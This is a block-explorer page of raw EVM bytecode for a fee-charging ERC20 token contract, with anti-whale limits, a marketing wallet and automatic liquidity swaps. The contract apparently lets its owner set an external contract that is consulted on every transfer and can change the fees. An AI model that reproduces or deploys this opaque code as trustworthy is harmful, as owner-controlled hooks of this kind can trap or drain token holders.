2e8c565b6121d19190612e6a565b90506121dc8161291d565b505b50506011805460ff19169055505b6001600160a01b03851660009081526008602052604081205460ff168061222b57506001600160a01b03851660009081526008602052604090205460ff165b80612238575060115460ff165b15612245575060006122a2565b6007546001600160a01b038781169116141561227f5750600d54601680546001600160a01b0319166001600160a01b0388161790556122a2565b6007546001600160a01b038681169116141561229e5750600e546122a2565b5060005b80156122dc5760006127106122b78387612e8c565b6122c19190612e6a565b90506122cd818661300a565b94506122da8730836124a0565b505b601654600160a01b900460ff16156123de576001600160a01b03861660009081526014602052604090205460ff1615801561233057506001600160a01b03851660009081526014602052604090205460ff16155b801561234a57506007546001600160a01b03868116911614155b156123de576001600160a01b0385166000908152602081905260409020546017546123758683612ce0565b11156123dc5760405162461bcd60e51b815260206004820152603060248201527f4d617857616c6c65743a20526563697069656e7420657863656564732074686560448201526f081b585e15d85b1b195d105b5bdd5b9d60821b6064820152608401610970565b505b6123e98686866124a0565b505050505050565b6000814710156124435760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610970565b6000836001600160a01b03168360405160006040518083038185875af1925050503d8060008114612490576040519150601f19603f3d011682016040523d82523d6000602084013e612495565b606091505b509095945050505050565b6001600160a01b0383166124c65760405162461bcd60e51b815260040161097090612f25565b6001600160a01b0382166124ec5760405162461bcd60e51b815260040161097090612f6a565b6001600160a01b038316600090815260208190526040902054818110156125645760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610970565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061259b908490612ce0565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125e791815260200190565b60405180910390a3611c0f565b6015546000906001600160a01b031661260f57506001610b5f565b6015546040516323b872dd60e01b81526001600160a01b038681166004830152858116602483015260448201859052909116906323b872dd90606401602060405180830381600087803b15801561266557600080fd5b505af1158015612679573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061269d9190612f08565b156126aa57506001610b5f565b5060009392505050565b60006126c1600283612e6a565b905060006126cf828461300a565b6040805160028082526060820183529293504792600092602083019080368337019050509050308160008151811061270957612709613021565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561275d57600080fd5b505afa158015612771573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127959190613037565b816001815181106127a8576127a8613021565b6001600160a01b03928316602091820292909201015260065460405163791ac94760e01b815291169063791ac947906127ee908790600090869030904290600401613054565b600060405180830381600087803b15801561280857600080fd5b505af115801561281c573d6000803e3d6000fd5b505050506000824761282e919061300a565b60065460405163f305d71960e01b815230600482015260248101879052600060448201819052606482015261dead60848201524260a48201529192506001600160a01b03169063f305d71990839060c4016060604051808303818588803b15801561289857600080fd5b505af11580156128ac573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128d191906130c5565b505060408051878152602081018490529081018690527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561915060600160405180910390a1505050505050565b60408051600280825260608201835247926000929190602083019080368337019050509050308160008151811061295657612956613021565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156129aa57600080fd5b505afa1580156129be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129e29190613037565b816001815181106129f5576129f5613021565b6001600160a01b03928316602091820292909201015260065460405163791ac94760e01b815291169063791ac94790612a3b908690600090869030904290600401613054565b600060405180830381600087803b158015612a5557600080fd5b505af1158015612a69573d6000803e3d6000fd5b5050505060008247612a7b919061300a565b600f54909150612a94906001600160a01b0316826123f1565b5060408051858152602081018390527f957ad1fc6d4d41da6d1a8d37303289ef3c4b78e0285ff5df1e12070ef0e62999910160405180910390a150505050565b60008060408385031215612ae757600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015612b2357858101830151858201604001528201612b07565b81811115612b35576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611c1357600080fd5b60008060408385031215612b7357600080fd5b8235612b7e81612b4b565b946020939093013593505050565b600060208284031215612b9e57600080fd5b8135610b5f81612b4b565b600080600060608486031215612bbe57600080fd5b8335612bc981612b4b565b92506020840135612bd981612b4b565b929592945050506040919091013590565b600060208284031215612bfc57600080fd5b5035919050565b8015158114611c1357600080fd5b600060208284031215612c2357600080fd5b8135610b5f81612c03565b60008060408385031215612c4157600080fd5b8235612c4c81612b4b565b91506020830135612c5c81612c03565b809150509250929050565b60008060408385031215612c7a57600080fd5b8235612c8581612b4b565b91506020830135612c5c81612b4b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008219821115612cf357612cf3612cca565b500190565b60208082526024908201527f546f74616c20466565732063616e6e6f742065786365656420746865206d6178604082015263696d756d60e01b606082015260800190565b600181811c90821680612d5057607f821691505b60208210811415612d7157634e487b7160e01b600052602260045260246000fd5b50919050565b600181815b80851115612db2578160001904821115612d9857612d98612cca565b80851615612da557918102915b93841c9390800290612d7c565b509250929050565b600082612dc957506001610aad565b81612dd657506000610aad565b8160018114612dec5760028114612df657612e12565b6001915050610aad565b60ff841115612e0757612e07612cca565b50506001821b610aad565b5060208310610133831016604e8410600b8410161715612e35575081810a610aad565b612e3f8383612d77565b8060001904821115612e5357612e53612cca565b029392505050565b6000610b5f60ff841683612dba565b600082612e8757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615612ea657612ea6612cca565b500290565b60208082526024908201527f4163636f756e7420697320616c72656164792073657420746f207468617420736040820152637461746560e01b606082015260800190565b600060208284031215612f0157600080fd5b5051919050565b600060208284031215612f1a57600080fd5b8151610b5f81612c03565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252603b908201527f416e74695768616c653a205472616e7366657220616d6f756e7420657863656560408201527f647320746865206d61785472616e73616374696f6e416d6f756e740000000000606082015260800190565b60008282101561301c5761301c612cca565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561304957600080fd5b8151610b5f81612b4b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156130a45784516001600160a01b03168352938301939183019160010161307f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156130da57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220b5effa7372ee74402e485994a2ba3571bd0f5f41eaddbd53e3178a89e5e3ab5564736f6c63430008090033

Deployed Bytecode

0x6080604052600436106102cd5760003560e01c806375f0a87411610175578063afa4f3b2116100dc578063d2fcc00111610095578063e01af92c1161006f578063e01af92c146108d0578063e2f45605146108f0578063f2fde38b14610906578063f9d0831a1461092657600080fd5b8063d2fcc00114610854578063dc4c7dbc14610874578063dd62ed3e1461088a57600080fd5b8063afa4f3b21461079a578063b6f7f681146107ba578063bb85c6d1146107da578063bdc52da8146107fa578063c024666814610814578063d2e335eb1461083457600080fd5b80638da5cb5b1161012e5780638da5cb5b146106d857806395d89b41146106f6578063a457c2d71461070b578063a8a69b9d1461072b578063a9059cbb14610764578063aa4bde281461078457600080fd5b806375f0a87414610637578063790ca413146106575780637b3c83b11461066d578063865b208014610683578063880bcbc1146106a35780638a8c523c146106c357600080fd5b80632ce86fbf1161023457806356a6cabf116101ed57806366ca9b83116101c757806366ca9b83146105ad5780636ddd1713146105cd57806370a08231146105ec578063715018a61461062257600080fd5b806356a6cabf1461056157806359136fa5146105815780635fc2e5961461059757600080fd5b80632ce86fbf14610497578063313ce567146104ad57806339509351146104c957806349bd5a5e146104e95780634ada218b146105095780634fbee1931461052857600080fd5b806318d9ceae1161028657806318d9ceae146103c357806321a9d82a146103fc57806323b872dd1461041d57806327a14fc21461043d5780632a6c7dba1461045d5780632ba86bf21461047d57600080fd5b80630105d0fd146102d957806302dbd8f81461030257806306fdde0314610324578063095ea7b3146103465780631694505e1461037657806318160ddd146103ae57600080fd5b366102d457005b600080fd5b3480156102e557600080fd5b506102ef601a5481565b6040519081526020015b60405180910390f35b34801561030e57600080fd5b5061032261031d366004612ad4565b610946565b005b34801561033057600080fd5b50610339610a0a565b6040516102f99190612af6565b34801561035257600080fd5b50610366610361366004612b60565b610a9c565b60405190151581526020016102f9565b34801561038257600080fd5b50600654610396906001600160a01b031681565b6040516001600160a01b0390911681526020016102f9565b3480156103ba57600080fd5b506002546102ef565b3480156103cf57600080fd5b506103666103de366004612b8c565b6001600160a01b031660009081526018602052604090205460ff1690565b34801561040857600080fd5b5060165461036690600160a01b900460ff1681565b34801561042957600080fd5b50610366610438366004612ba9565b610ab3565b34801561044957600080fd5b50610322610458366004612bea565b610b66565b34801561046957600080fd5b50610322610478366004612c11565b610c6c565b34801561048957600080fd5b506019546103669060ff1681565b3480156104a357600080fd5b506102ef600a5481565b3480156104b957600080fd5b50604051601281526020016102f9565b3480156104d557600080fd5b506103666104e4366004612b60565b610d64565b3480156104f557600080fd5b50600754610396906001600160a01b031681565b34801561051557600080fd5b5060135461036690610100900460ff1681565b34801561053457600080fd5b50610366610543366004612b8c565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561056d57600080fd5b5061032261057c366004612c11565b610da0565b34801561058d57600080fd5b506102ef601b5481565b3480156105a357600080fd5b506102ef600b5481565b3480156105b957600080fd5b506103226105c8366004612ad4565b610e85565b3480156105d957600080fd5b5060115461036690610100900460ff1681565b3480156105f857600080fd5b506102ef610607366004612b8c565b6001600160a01b031660009081526020819052604090205490565b34801561062e57600080fd5b50610322610f35565b34801561064357600080fd5b50600f54610396906001600160a01b031681565b34801561066357600080fd5b506102ef60125481565b34801561067957600080fd5b506102ef60095481565b34801561068f57600080fd5b5061032261069e366004612b8c565b610fa9565b3480156106af57600080fd5b506103226106be366004612c2e565b611093565b3480156106cf57600080fd5b506103226111b5565b3480156106e457600080fd5b506005546001600160a01b0316610396565b34801561070257600080fd5b5061033961125d565b34801561071757600080fd5b50610366610726366004612b60565b61126c565b34801561073757600080fd5b50610366610746366004612b8c565b6001600160a01b031660009081526014602052604090205460ff1690565b34801561077057600080fd5b5061036661077f366004612b60565b611305565b34801561079057600080fd5b506102ef60175481565b3480156107a657600080fd5b506103226107b5366004612bea565b611312565b3480156107c657600080fd5b506103226107d5366004612ad4565b6113fc565b3480156107e657600080fd5b506103226107f5366004612b8c565b61155f565b34801561080657600080fd5b506013546103669060ff1681565b34801561082057600080fd5b5061032261082f366004612c2e565b6116b0565b34801561084057600080fd5b5061032261084f366004612c11565b6117b4565b34801561086057600080fd5b5061032261086f366004612c2e565b6117f1565b34801561088057600080fd5b506102ef600c5481565b34801561089657600080fd5b506102ef6108a5366004612c67565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156108dc57600080fd5b506103226108eb366004612c11565b6118b2565b3480156108fc57600080fd5b506102ef60105481565b34801561091257600080fd5b50610322610921366004612b8c565b611960565b34801561093257600080fd5b50610322610941366004612b8c565b611a4b565b6005546001600160a01b031633146109795760405162461bcd60e51b815260040161097090612c95565b60405180910390fd5b600a829055600c81905561098d8183612ce0565b600e819055600d54619c40916109a291612ce0565b11156109c05760405162461bcd60e51b815260040161097090612cf8565b7f12dd4f8337f0c236c7994706854cca8cd53921c0032cb0fba8cdb797e73f67c6600a54600c546040516109fe929190918252602082015260400190565b60405180910390a15050565b606060038054610a1990612d3c565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4590612d3c565b8015610a925780601f10610a6757610100808354040283529160200191610a92565b820191906000526020600020905b815481529060010190602001808311610a7557829003601f168201915b5050505050905090565b6000610aa9338484611c16565b5060015b92915050565b6001600160a01b03831660009081526001602090815260408083203384529091528120546000198114610b4e5782811015610b415760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610970565b610b4e8533858403611c16565b610b59858585611d3a565b60019150505b9392505050565b6005546001600160a01b03163314610b905760405162461bcd60e51b815260040161097090612c95565b6064610b9e6012600a612e5b565b600254610bab9190612e6a565b610bb59190612e6a565b811015610c1a5760405162461bcd60e51b815260206004820152602d60248201527f4d61782077616c6c65742070657263656e746167652063616e6e6f742062652060448201526c6c6f776572207468616e20312560981b6064820152608401610970565b610c266012600a612e5b565b610c309082612e8c565b60178190556040519081527f21bc0ea3406acb92d4449ab33befb4ae82f873a22f3b6cf0e466b2710beb5942906020015b60405180910390a150565b6005546001600160a01b03163314610c965760405162461bcd60e51b815260040161097090612c95565b601660149054906101000a900460ff1615158115151415610d0f5760405162461bcd60e51b815260206004820152602d60248201527f4d61782077616c6c6574206c696d697420697320616c7265616479207365742060448201526c746f207468617420737461746560981b6064820152608401610970565b6016805460ff60a01b1916600160a01b8315158102919091179182905560405160ff9190920416151581527f670f884265aba2d05e7c26efbc42f8365effc4cb3fcfcefddba0c0b71a6231f190602001610c61565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610aa9918590610d9b908690612ce0565b611c16565b6005546001600160a01b03163314610dca5760405162461bcd60e51b815260040161097090612c95565b60195460ff1615158115151415610e3e5760405162461bcd60e51b815260206004820152603260248201527f4d6178207472616e73616374696f6e206c696d697420697320616c72656164796044820152712073657420746f207468617420737461746560701b6064820152608401610970565b6019805460ff191682151590811790915560405160ff909116151581527fe81be35e61864c26afd7a4655e99f321378d0aaae1e5af8ee67b658a7460f3cf90602001610c61565b6005546001600160a01b03163314610eaf5760405162461bcd60e51b815260040161097090612c95565b6009829055600b819055610ec38183612ce0565b600d819055600e54619c4091610ed99190612ce0565b1115610ef75760405162461bcd60e51b815260040161097090612cf8565b7fccd61cb5df2cb048d1a7af40a431d6f247af01b6cf048f7a3f2aa9d313e2bc50600954600b546040516109fe929190918252602082015260400190565b6005546001600160a01b03163314610f5f5760405162461bcd60e51b815260040161097090612c95565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610fd35760405162461bcd60e51b815260040161097090612c95565b601580546001600160a01b0319166001600160a01b03838116918217909255601654611003921690600019611c16565b60006009819055600b819055600a819055600c819055600d819055600e8190556040805182815260208101929092527fccd61cb5df2cb048d1a7af40a431d6f247af01b6cf048f7a3f2aa9d313e2bc50910160405180910390a160408051600080825260208201527f12dd4f8337f0c236c7994706854cca8cd53921c0032cb0fba8cdb797e73f67c69101610c61565b6005546001600160a01b031633146110bd5760405162461bcd60e51b815260040161097090612c95565b6001600160a01b03821660009081526018602052604090205460ff16151581151514156110fc5760405162461bcd60e51b815260040161097090612eab565b6001600160a01b0382163014156111555760405162461bcd60e51b815260206004820152601760248201527f43616e277420736574207468697320616464726573732e0000000000000000006044820152606401610970565b6001600160a01b038216600081815260186020908152604091829020805460ff191685151590811790915591519182527f8727c4afe988887760e8db0bbad9f9fcceee6428545956832f67c8fdbd589c1091015b60405180910390a25050565b6005546001600160a01b031633146111df5760405162461bcd60e51b815260040161097090612c95565b601354610100900460ff16156112375760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720616c726561647920656e61626c65642e00000000000000006044820152606401610970565b601380546011805461ff0019166101009081179091554260125561ffff19909116179055565b606060048054610a1990612d3c565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156112ee5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610970565b6112fb3385858403611c16565b5060019392505050565b6000610aa9338484611d3a565b6005546001600160a01b0316331461133c5760405162461bcd60e51b815260040161097090612c95565b620f424061134960025490565b6113539190612e6a565b81116113c75760405162461bcd60e51b815260206004820152603f60248201527f53776170546f6b656e734174416d6f756e74206d75737420626520677265617460448201527f6572207468616e20302e3030303125206f6620746f74616c20737570706c79006064820152608401610970565b60108190556040518181527f7c26bfee26f82e8cb57af48f4019cc64582db6fac7bad778433f10572ae8b14590602001610c61565b6005546001600160a01b031633146114265760405162461bcd60e51b815260040161097090612c95565b6103e86114356012600a612e5b565b6002546114429190612e6a565b61144c9190612e6a565b821015801561148057506103e86114656012600a612e5b565b6002546114729190612e6a565b61147c9190612e6a565b8110155b6114f25760405162461bcd60e51b815260206004820152603f60248201527f4d6178205472616e73616374696f6e206c696d69732063616e6e6f742062652060448201527f6c6f776572207468616e20302e3125206f6620746f74616c20737570706c79006064820152608401610970565b6114fe6012600a612e5b565b6115089083612e8c565b601a556115176012600a612e5b565b6115219082612e8c565b601b819055601a546040517f8c8cbc911b80df94332ececb8eb0945274d76fa965600a0f01f42af3f8afb131926109fe928252602082015260400190565b6005546001600160a01b031633146115895760405162461bcd60e51b815260040161097090612c95565b600f546001600160a01b03828116911614156115f85760405162461bcd60e51b815260206004820152602860248201527f4d61726b6574696e672077616c6c657420697320616c72656164792074686174604482015267206164647265737360c01b6064820152608401610970565b6001600160a01b0381166116625760405162461bcd60e51b815260206004820152602b60248201527f4d61726b6574696e672077616c6c65742063616e6e6f7420626520746865207a60448201526a65726f206164647265737360a81b6064820152608401610970565b600f80546001600160a01b0319166001600160a01b0383169081179091556040519081527fa964ba5c52d7e7bfcae4fb1ae4db9f211756d0e618e85fac5283b882a39e7a0b90602001610c61565b6005546001600160a01b031633146116da5760405162461bcd60e51b815260040161097090612c95565b6001600160a01b03821660009081526008602052604090205460ff161515811515141561175c5760405162461bcd60e51b815260206004820152602a60248201527f4163636f756e7420697320616c7265616479207468652076616c7565206f6620604482015269276578636c756465642760b01b6064820152608401610970565b6001600160a01b038216600081815260086020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df791016111a9565b6005546001600160a01b031633146117de5760405162461bcd60e51b815260040161097090612c95565b6013805460ff1916911515919091179055565b6005546001600160a01b0316331461181b5760405162461bcd60e51b815260040161097090612c95565b6001600160a01b03821660009081526014602052604090205460ff161515811515141561185a5760405162461bcd60e51b815260040161097090612eab565b6001600160a01b038216600081815260146020908152604091829020805460ff191685151590811790915591519182527f1d9a11e204b58ad56c619c61600e42167624659d218f0143f1f64956b0daae6c91016111a9565b6005546001600160a01b031633146118dc5760405162461bcd60e51b815260040161097090612c95565b60115460ff61010090910416151581151514156119465760405162461bcd60e51b815260206004820152602260248201527f73776170456e61626c656420616c726561647920617420746869732073746174604482015261329760f11b6064820152608401610970565b601180549115156101000261ff0019909216919091179055565b6005546001600160a01b0316331461198a5760405162461bcd60e51b815260040161097090612c95565b6001600160a01b0381166119ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610970565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314611a755760405162461bcd60e51b815260040161097090612c95565b6001600160a01b038116301415611af45760405162461bcd60e51b815260206004820152603760248201527f4f776e65722063616e6e6f7420636c61696d20636f6e7472616374277320626160448201527f6c616e6365206f6620697473206f776e20746f6b656e730000000000000000006064820152608401610970565b6001600160a01b038116611b1057611b0c33476123f1565b5050565b6040516370a0823160e01b815230600482015281906000906001600160a01b038316906370a082319060240160206040518083038186803b158015611b5457600080fd5b505afa158015611b68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b8c9190612eef565b60405163a9059cbb60e01b8152336004820152602481018290529091506001600160a01b0383169063a9059cbb90604401602060405180830381600087803b158015611bd757600080fd5b505af1158015611beb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0f9190612f08565b5050505b50565b6001600160a01b038316611c785760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610970565b6001600160a01b038216611cd95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610970565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611d605760405162461bcd60e51b815260040161097090612f25565b6001600160a01b038216611d865760405162461bcd60e51b815260040161097090612f6a565b601354610100900460ff1680611db457506001600160a01b03831660009081526008602052604090205460ff165b80611dd757506001600160a01b03821660009081526008602052604090205460ff165b611e235760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610970565b80611e3957611e34838360006124a0565b505050565b60195460ff1615611f1b576007546001600160a01b0384811691161480611e6d57506007546001600160a01b038381169116145b8015611e9257506001600160a01b03831660009081526018602052604090205460ff16155b8015611eb757506001600160a01b03821660009081526018602052604090205460ff16155b15611f1b576007546001600160a01b0384811691161415611ef957601a54811115611ef45760405162461bcd60e51b815260040161097090612fad565b611f1b565b601b54811115611f1b5760405162461bcd60e51b815260040161097090612fad565b60135460ff16156120875742601254610bb8611f379190612ce0565b1015611f8357604560098190556000600a819055600b819055600c819055611f5e91612ce0565b600d55600c54600a54611f719190612ce0565b600e556013805460ff191690556120ce565b42601254610960611f949190612ce0565b1015611fd75760006009819055600a8190556101f4600b819055600c819055611fbc91612ce0565b600d55600c54600a54611fcf9190612ce0565b600e556120ce565b42601254610708611fe89190612ce0565b10156120105760006009819055600a8190556103e8600b819055600c819055611fbc91612ce0565b426012546104b06120219190612ce0565b10156120495760006009819055600a8190556107d0600b819055600c819055611fbc91612ce0565b4260125461025861205a9190612ce0565b10156120825760006009819055600a819055610bb8600b819055600c819055611fbc91612ce0565b6120ce565b6120928383836125f4565b156120ce5760006009819055600a819055600b819055600c8190556120b79080612ce0565b600d55600c54600a546120ca9190612ce0565b600e555b30600090815260208190526040902054601054811080159081906120f5575060115460ff16155b801561210e57506007546001600160a01b038581169116145b801561212957506000600e54600d546121279190612ce0565b115b801561213c5750601154610100900460ff165b156121ec576011805460ff19166001179055600e54600d5460009161216091612ce0565b90506000600a546009546121749190612ce0565b90506000600c54600b546121889190612ce0565b905081156121b45760008361219d8488612e8c565b6121a79190612e6a565b90506121b2816126b4565b505b80156121de576000836121c78388612e8c565b6121d19190612e6a565b90506121dc8161291d565b505b50506011805460ff19169055505b6001600160a01b03851660009081526008602052604081205460ff168061222b57506001600160a01b03851660009081526008602052604090205460ff165b80612238575060115460ff165b15612245575060006122a2565b6007546001600160a01b038781169116141561227f5750600d54601680546001600160a01b0319166001600160a01b0388161790556122a2565b6007546001600160a01b038681169116141561229e5750600e546122a2565b5060005b80156122dc5760006127106122b78387612e8c565b6122c19190612e6a565b90506122cd818661300a565b94506122da8730836124a0565b505b601654600160a01b900460ff16156123de576001600160a01b03861660009081526014602052604090205460ff1615801561233057506001600160a01b03851660009081526014602052604090205460ff16155b801561234a57506007546001600160a01b03868116911614155b156123de576001600160a01b0385166000908152602081905260409020546017546123758683612ce0565b11156123dc5760405162461bcd60e51b815260206004820152603060248201527f4d617857616c6c65743a20526563697069656e7420657863656564732074686560448201526f081b585e15d85b1b195d105b5bdd5b9d60821b6064820152608401610970565b505b6123e98686866124a0565b505050505050565b6000814710156124435760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610970565b6000836001600160a01b03168360405160006040518083038185875af1925050503d8060008114612490576040519150601f19603f3d011682016040523d82523d6000602084013e612495565b606091505b509095945050505050565b6001600160a01b0383166124c65760405162461bcd60e51b815260040161097090612f25565b6001600160a01b0382166124ec5760405162461bcd60e51b815260040161097090612f6a565b6001600160a01b038316600090815260208190526040902054818110156125645760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610970565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061259b908490612ce0565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125e791815260200190565b60405180910390a3611c0f565b6015546000906001600160a01b031661260f57506001610b5f565b6015546040516323b872dd60e01b81526001600160a01b038681166004830152858116602483015260448201859052909116906323b872dd90606401602060405180830381600087803b15801561266557600080fd5b505af1158015612679573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061269d9190612f08565b156126aa57506001610b5f565b5060009392505050565b60006126c1600283612e6a565b905060006126cf828461300a565b6040805160028082526060820183529293504792600092602083019080368337019050509050308160008151811061270957612709613021565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561275d57600080fd5b505afa158015612771573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127959190613037565b816001815181106127a8576127a8613021565b6001600160a01b03928316602091820292909201015260065460405163791ac94760e01b815291169063791ac947906127ee908790600090869030904290600401613054565b600060405180830381600087803b15801561280857600080fd5b505af115801561281c573d6000803e3d6000fd5b505050506000824761282e919061300a565b60065460405163f305d71960e01b815230600482015260248101879052600060448201819052606482015261dead60848201524260a48201529192506001600160a01b03169063f305d71990839060c4016060604051808303818588803b15801561289857600080fd5b505af11580156128ac573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128d191906130c5565b505060408051878152602081018490529081018690527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561915060600160405180910390a1505050505050565b60408051600280825260608201835247926000929190602083019080368337019050509050308160008151811061295657612956613021565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156129aa57600080fd5b505afa1580156129be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129e29190613037565b816001815181106129f5576129f5613021565b6001600160a01b03928316602091820292909201015260065460405163791ac94760e01b815291169063791ac94790612a3b908690600090869030904290600401613054565b600060405180830381600087803b158015612a5557600080fd5b505af1158015612a69573d6000803e3d6000fd5b5050505060008247612a7b919061300a565b600f54909150612a94906001600160a01b0316826123f1565b5060408051858152602081018390527f957ad1fc6d4d41da6d1a8d37303289ef3c4b78e0285ff5df1e12070ef0e62999910160405180910390a150505050565b60008060408385031215612ae757600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015612b2357858101830151858201604001528201612b07565b81811115612b35576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611c1357600080fd5b60008060408385031215612b7357600080fd5b8235612b7e81612b4b565b946020939093013593505050565b600060208284031215612b9e57600080fd5b8135610b5f81612b4b565b600080600060608486031215612bbe57600080fd5b8335612bc981612b4b565b92506020840135612bd981612b4b565b929592945050506040919091013590565b600060208284031215612bfc57600080fd5b5035919050565b8015158114611c1357600080fd5b600060208284031215612c2357600080fd5b8135610b5f81612c03565b60008060408385031215612c4157600080fd5b8235612c4c81612b4b565b91506020830135612c5c81612c03565b809150509250929050565b60008060408385031215612c7a57600080fd5b8235612c8581612b4b565b91506020830135612c5c81612b4b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008219821115612cf357612cf3612cca565b500190565b60208082526024908201527f546f74616c20466565732063616e6e6f742065786365656420746865206d6178604082015263696d756d60e01b606082015260800190565b600181811c90821680612d5057607f821691505b60208210811415612d7157634e487b7160e01b600052602260045260246000fd5b50919050565b600181815b80851115612db2578160001904821115612d9857612d98612cca565b80851615612da557918102915b93841c9390800290612d7c565b509250929050565b600082612dc957506001610aad565b81612dd657506000610aad565b8160018114612dec5760028114612df657612e12565b6001915050610aad565b60ff841115612e0757612e07612cca565b50506001821b610aad565b5060208310610133831016604e8410600b8410161715612e35575081810a610aad565b612e3f8383612d77565b8060001904821115612e5357612e53612cca565b029392505050565b6000610b5f60ff841683612dba565b600082612e8757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615612ea657612ea6612cca565b500290565b60208082526024908201527f4163636f756e7420697320616c72656164792073657420746f207468617420736040820152637461746560e01b606082015260800190565b600060208284031215612f0157600080fd5b5051919050565b600060208284031215612f1a57600080fd5b8151610b5f81612c03565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252603b908201527f416e74695768616c653a205472616e7366657220616d6f756e7420657863656560408201527f647320746865206d61785472616e73616374696f6e416d6f756e740000000000606082015260800190565b60008282101561301c5761301c612cca565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561304957600080fd5b8151610b5f81612b4b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156130a45784516001600160a01b03168352938301939183019160010161307f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156130da57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220b5effa7372ee74402e485994a2ba3571bd0f5f41eaddbd53e3178a89e5e3ab5564736f6c63430008090033

Deployed Bytecode Sourcemap

